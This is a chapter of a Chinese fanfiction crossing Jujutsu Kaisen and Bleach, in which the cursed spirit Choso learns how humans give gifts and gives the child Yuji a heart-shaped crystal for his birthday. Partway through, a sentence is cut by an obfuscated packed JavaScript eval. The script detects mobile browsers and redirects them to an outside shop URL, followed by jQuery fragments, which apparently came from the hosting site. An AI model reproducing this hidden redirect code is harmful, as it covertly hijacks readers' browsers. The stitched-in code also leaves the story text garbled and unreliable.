28.第 28 章
作品:《空座町的虎杖君》 自从有了第一次聚会,整整两个月,胀相没有安静地独处过一个完整的半天。
他不理解,自己并没有收敛气息,为什么两个孩子不害怕他?
他可是特级咒灵啊!
啪——
一只青蛙击中他的额头。
“呜呱。”
在可怜的家伙被他捏爆之前,龙贵又一次打中了他。
“胀相,放开那只青蛙!”
……听听这个语气,现在到底谁说了算?
胀相松开手,将那半死不活的东西丢进草丛。
悠仁小跑过来,踮起脚把桶举得更高些当作靶心。一护和龙贵在院子另一头摆好阵型,继续向桶里精准投掷着果子。
砰、砰、砰——
龙贵扔的很准,每个果子都打在胀相额头,从未失手。在被第十次击中后,胀相沉默着把塑料桶倒扣在头上。
孩子们的笑闹声像密密麻麻的小虫子钻进他的耳朵,在耳畔嗡嗡作响。
【他们完全没把我当回事。】
胀相第一次感到自己作为咒灵的威慑力,似乎并不存在于这群幼崽面前。
秋天的风渐渐凉下来,他跟着三人出门,悠仁与街对面一群孩子激烈争论。胀相本能地想冲出去护着弟弟,却被他们联合推出战圈:
“胀相你不要插手!”
他站在原地,看着他们用幼稚的词汇互放狠话,却始终没有越过马路中间的白线。直到终于打起来,场面混乱得像咒灵间角斗,却又没有杀意与死意。
他一边薅住悠仁的后衣领,一边伸手拽回冲出去的龙贵和一护,像在反复拯救几只挑战比自己强大许多的对手的不听话的小动物。
胀相怔了一下。
【我,在护着他们……?】
某种奇怪的责任感,第一次在咒灵的本能之外缓缓生出。
很快,空座町飘起第一场雪花,胀相站在公园的空地上,三个孩子像雪球一样咕噜噜滚到他身边,一个接一个撞在一起。
胀相转身想往树林走去,但他们已经从身后扑过来抱住了他的腿。
“我们堆了一个你!”孩子们兴冲冲地说道。胀相顺着手指的方向看过去,一个雪人站在那儿,两根树枝被当作他的辫子,雪人脚下是三个小不点。
他蹲在地上用孩子们捡的石头给雪人安上眼睛,听着他们因为鼻子的形状吵起来,终于承认:
人类幼崽虽然混乱,却温柔。他们的争吵不需要杀戮。
这一点,比大多数咒灵温柔得多。
——
冬天将身后的白雪扫净,春天撒着花到来。
三月的一天,趁着悠仁上了二楼,一护和龙贵把胀相拉到角落:
“胀相哥哥,悠仁生日的时候,你送他什么礼物呀?”
“……生日?”胀相微微一愣。人类庆祝自己诞生的日子,他竟连悠仁的生日是哪天都不知道。
失职。
一护看了一眼楼上,小声说道:“一护已经准备好礼物了哦!”
“我也准备好了。”龙贵得意道。
两个孩子你一言我一语,胀相却陷入更深的困惑。
【我能送什么?】
三兄弟围坐电视机前,像围在某种庄重的占卜仪式前。雪花闪烁,屏幕晃动,直到定格在某个明亮柔光的广告。
——「送给孩子最好的伙伴!」
粉色包装的毛绒玩具旋转着在镜头前跃动。
血涂和坏相眼睛都亮了:“尼桑,就送这个!”
胀相却皱起眉头:
——这个公司在哪里?
——如果我直接抢一整家商场,是不是更好?
电视关掉,问题依旧没有答案。
真咲倒是笑着给了他建议:“坏相先生不是很擅长做菜嘛,和孩子一起做饭可以增长感情。”
虎杖倭助更加直接:“那孩子已经将你们当作家人了,他不是会主动说出口的性格,陪他玩一天,这才是最重要的。”
两个人竟然给出了完全不相同的选择,于是,胀相决定出门去弄明白人类送礼的逻辑。
走到商场的服装区时,隐身的胀相瞥见了有泽母女。有泽夫人打算亲自做一套衣服送给悠仁,龙贵则抱着苹果派放进车里。
有泽夫人哎呀了一声:“龙贵,你确定不是你自己想吃?”
“好朋友就要一起分享。”
“既然这样,为什么我家龙贵不自己做一个苹果派送给悠仁呢?比起商场里卖的,我想悠仁一定更喜欢你亲手做的……”
“欸,这样吗?”女孩跟在推车旁边,转眼就改变了想法,“好,我自己做!”
胀相看着母女背影消失在收银台后方,内心突然有些微微发涩。
【自己动手,比单纯购买更有意义。】
【……她们的相处,好像有种很自然的亲密。】
他心底第一次浮现出一丝无法言明的羡慕——
【我……也能像她们那样对待悠仁吗?】
离开商场时,胀相又在街角远远看见黑崎父子的背影。小橘子蹦蹦跳跳走在路边,谈论起悠仁的生日:“我要把《快乐王子》送给悠仁!”
黑崎一心大为不解:“咦,为什么是这个?”
一护回过头,露出一个灿烂的笑容:“因为那是我们一起看的第一个绘本!”
黑崎一心在旁边撇嘴:“什么嘛,小孩子才喜欢的东西。”
一护很不服气:“那爸爸送什么呢?”
黑崎一心得意地叉着腰:“当然是酒了,身为男子汉就要会喝酒。”
“爸爸,你在白川乡的时候还说小孩子不能喝酒!”
黑崎一心理直气壮:“等他长大嘛。”
胀相站在阴影里,将这段父子的对话悄悄收录:
【纪念和价值。】
他穿过春风拂面的街头,脑海中反复整理着今日的所见所闻——
陪伴、参与、成长、动手、纪念、见证……
人类用这些东西证明彼此的爱与归属。
而我能给悠仁的,到底是什么?
.
……
带着这个疑惑,胀相迎来了加入虎杖家后悠仁的第一个生日。
阳光洒在屋内,窗棂上映出孩子们跳跃的影子。悠仁被两个朋友拉着四处跑,坏相和两位母亲并肩在厨房备菜,血涂捧着一筐青蛙想进屋,被他喝止。
胀相坐在屋檐下,看着一幕幕嬉闹、奔跑、笑声。那份欢闹仿佛有光,渐渐照进他胸口某块晦暗角落。
【家人……吗?】
他缓缓垂下眼帘,手指紧了紧衣摆,像在按住什么翻涌的东西。
生日到底该送什么?
食物?悠仁每天都吃坏相做的菜;
衣服?他分不清那些布料;
玩具?买来的东西毫无意义;
纪念?人类的每一天都在被记录,他们用照片、用语言、用笑声……
胀相突然觉得,自己除了“活着”之外,从来没有给过悠仁什么。
“关键是心。”
真咲站在廊下,微风吹起她橙发的长发,“胀相心里装的是什么呢?”
“心……”
胀相将手放在胸口,却没有感受到人类口中的跳动。他是人类和咒灵的产生物,也许破开胸膛那里的确躺着一颗心脏,但它不是胀相活着的原因。
会跳动的,是虎杖悠仁。
他才是他的心脏。
——我是因悠仁而活着的。
.
“胀相,来吃蛋糕啦!”
屋内灯光柔和,除了黑崎一心因加班缺席,悠仁生命中最熟悉的人们几乎全都聚在了这间不大的小屋里。
他们抛弃了餐桌随意坐在粗糙的地板上,有的靠着墙,有的趴在沙发,有的把垫子堆在一起将自己埋进去。人类创造的灯光也被摒弃,火苗在升起。
“生日快乐——悠仁!”
悠仁闭上眼睛。
——第一个愿望:所有人身体健康。
——第二个愿望:爸爸妈妈快点回家。
——第三个愿望:自己、一叽咕和小龙要永远在一起。
胀相看不见那些愿望,也听不见他内心的声音。
但他知道,弟弟的心中一定装满了比他丰富千百倍的温暖与渴望。
他想,
「我好像……有点想留在这里。」
“呼。”
悠仁吹灭了蜡烛。
火焰熄灭的一瞬间,微光像泡泡一样在黑暗里飘散。
胀相的目光也在那一点光晕里轻轻颤动了一下。
.
——
今天,悠仁难得玩到很晚。
他坐在卧室的地上,一件一件翻看收到的礼物。一叽咕送的绘本被他摆在床头,封面上的快乐王子在月光下闪着淡淡的光。有泽阿姨做的新衣服被整整齐齐叠好,塞进了柜子里。真咲妈妈亲手做的手链,被他放进那个小铁盒里,和爷爷赠送的钢笔并排安放着。
一心叔叔送的酒,被爷爷没收锁进柜子——那瓶“给成年人的东西”悠仁还暂时用不上。
小龙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585486|186396||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己做了一个苹果派,希望他能永远保留下来。
悠仁低头摸了摸鼓鼓的小肚子,脸颊有些发烫。
——对不起小龙,苹果派真的太好吃了,我没忍住。
突然,
“咚咚咚。”
轻轻的敲击声从窗户传来。
悠仁愣了一下,顺着声响走过去拉开窗帘。窗外空无一人,窗台上一个小小的黑色的盒子安静地躺在那儿。盒子像是刚被送到,沾染了微凉的晚风和月光。
悠仁打开它,
一颗金色的珠子。
珠子穿着透明的刚好够挂在孩子脖子上的线,但并不脆弱,无法被徒手扯断。
高度凝聚的灵压揉成微微流动的光纹,被阻隔在这个小小的世界,任凭谁看了都只是一颗普通的弹珠,但其中蕴含的能量,足以短暂的困住护廷十三队除了总队长外的任一队长!
悠仁捧起它,举到月光下打量——
好漂亮,像黑猫小姐的瞳孔倒映进来,金黄、清澈、却又藏着什么遥远的东西。
风吹起盒子里薄薄的一张纸飘落在地,悠仁拾起那张纸,纸面略有些粗糙,纸纹古雅,金色的碎纹如细雪星屑般铺陈在边角。
右下角,张扬的毛笔字:
——四枫院夜一
“四枫院……夜一?” 悠仁歪着脑袋,愣愣地念出声。
是谁呢?
他不认识这个名字。
可奇怪的是,胸口泛起一丝很淡很淡的熟悉感。像是记忆深处的什么地方被轻轻拨动了一下。似乎在某个充斥着鲜血和绝望的夜晚,一位紫发女子抱着他走了很远。
悠仁握着珠子站在窗前发了好一会儿呆,直到背后传来胀相的敲门声。
“悠仁。”
孩子这才回过神来,连忙把那枚珠子收好,小心翼翼地放进铁盒里,转身去开门。
胀相站在走廊里,与悠仁隔了一条光影的界限。
悠仁拉开门,卧室内的灯光照亮胀相苍白的面容。胀相微微偏过头,视线刻意避开弟弟,好似害怕目光的碰撞会泄露心底那一点几乎压不住的忐忑。
骨节分明的大手紧紧握拳,指尖泛白,仿佛在死死攥着什么极其重要、又极其沉重的东西。
他深吸了一口气。
世界是空白的,心脏也不会跳动,耳朵听不到任何声音。
缓缓地,胀相单膝跪地,像每次他与弟弟平视那样。
他托起了悠仁还带着婴孩肉感的小手,然后,将一块暗红色的心形石头放在他的掌心。
血色中透着微光,像某种温热的生命体正在缓慢跳动。
那一瞬间,悠仁仿佛看见自己踩在一片红色的水泽中央,血腥味并不刺鼻,反而透出某种奇异的安宁,像是母亲羊水里最初的温度。
在那个梦里,有谁将一颗跳动的心脏交到他的手里,滴滴答答的血水顺着指缝滑落。
冰凉的触感将孩子拉回现实,他低头,什么血都没有,这只是一颗心形的石头。但它正缓慢地、温柔地,散发着像是脉搏一样的韵律。
“哥哥……想了很久,到底该送悠仁什么礼物。”
胀相声音低低的,像是在向命运做一次庄重的陈述。
“想来想去,还是决定,把这颗心交给你。”
他顿了顿,声音像被什么拽住似的低下去一瞬,又在下一秒重新抬高:
“这是我、坏相、血涂——我们用咒力本源凝聚成的结晶。”
“你戴着它,就算是最强的咒术师也无法伤害你。
因为爱,是世间无法祓除的诅咒。”
悠仁睁着圆圆的眼睛,他听不懂“咒力本源”意味着什么,也无法体会哥哥内心那份撕裂的挣扎,但他能感受到,这颗石头,是哥哥们把自己给了他。
“胀相……?”
“悠仁不必在意这些东西。”
胀相微笑起来,眼底有一点酸涩的温柔。
“你只要知道,我们是兄弟,哥哥们会永远保护你。”
他将项链挂到孩子的脖子上,那颗血色宝石贴在幼小的心口,像第二颗心脏,正与他的新主人同步跳动着。
命运在这一刻连结。
胀相轻轻托着弟弟的手,虔诚地俯身,在那颗结晶上落下一个无比庄严的吻。
对咒灵来说,咒力的本源是它们生的原因,好比虚的核,人类的灵魂。
如果人类需要一颗跳动的心脏活着,我把我的心交付给你。
.
现在,你是我生的原因了。
.
.

